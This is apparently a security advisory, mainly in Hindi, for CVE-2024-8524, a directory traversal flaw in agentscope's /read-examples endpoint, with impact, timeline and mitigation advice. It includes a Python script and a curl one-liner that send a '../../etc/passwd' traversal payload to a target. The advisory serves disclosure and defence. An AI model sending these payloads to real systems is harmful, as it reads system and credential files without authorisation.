modelscope/agentscope में डायरेक्टरी ट्रैवर्सल (Directory Traversal)

यह Directory Traversal भेद्यता मॉडलस्कोप/एजेंटस्कोप के /read-examples एंडपॉइंट के माध्यम से संवेदनशील जानकारी तक अनधिकृत पहुंच की अनुमति देती है। हमलावर स्थानीय JSON फ़ाइलों की सामग्री को पढ़ सकते हैं, जिसमें कॉन्फ़िगरेशन डेटा, API कुंजियाँ या अन्य गोपनीय जानकारी शामिल हो सकती है। यदि JSON फ़ाइलों में संवेदनशील डेटा होता है, तो इसका उपयोग आगे के हमलों को लॉन्च करने या डेटा उल्लंघनों का कारण बनने के लिए किया जा सकता है। इस भेद्यता का उपयोग सिस्टम पर नियंत्रण हासिल करने या अन्य दुर्भावनापूर्ण गतिविधियों को करने के लिए भी किया जा सकता है।

Organizations using modelscope/agentscope in their Python applications, particularly those deploying it in environments where sensitive data is stored as JSON files, are at risk. This includes developers integrating agentscope into their AI workflows and those using it in shared hosting environments where file system access might be less restricted.

• python / server:

import requests

url = 'http://your-target-server/read-examples'
payload = {'file': '..//../../../../etc/passwd'}

response = requests.post(url, data=payload)

if 'root:' in response.text:
    print('Potential vulnerability detected!')
else:
    print('No vulnerability detected.')

• generic web:

curl -X POST http://your-target-server/read-examples -d 'file=../../../../etc/passwd' | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. आरक्षित2024-09-06
2. प्रकाशित2025-03-20
3. संशोधित2025-10-15
4. EPSS अद्यतन2026-04-02

CVE-2024-8524 को कम करने के लिए, मॉडलस्कोप/एजेंटस्कोप को नवीनतम संस्करण में तुरंत अपडेट करें जिसमें इस भेद्यता के लिए एक फिक्स शामिल है। यदि अपडेट करना संभव नहीं है, तो /read-examples एंडपॉइंट तक पहुंच को सीमित करने के लिए एक वेब एप्लिकेशन फ़ायरवॉल (WAF) या प्रॉक्सी का उपयोग करें। सुनिश्चित करें कि फ़ाइल एक्सेस अनुमतियाँ उचित रूप से कॉन्फ़िगर की गई हैं और केवल अधिकृत उपयोगकर्ताओं को ही संवेदनशील फ़ाइलों तक पहुंचने की अनुमति है। इनपुट सत्यापन और सैनिटाइजेशन लागू करें ताकि दुर्भावनापूर्ण अनुरोधों को रोका जा सके।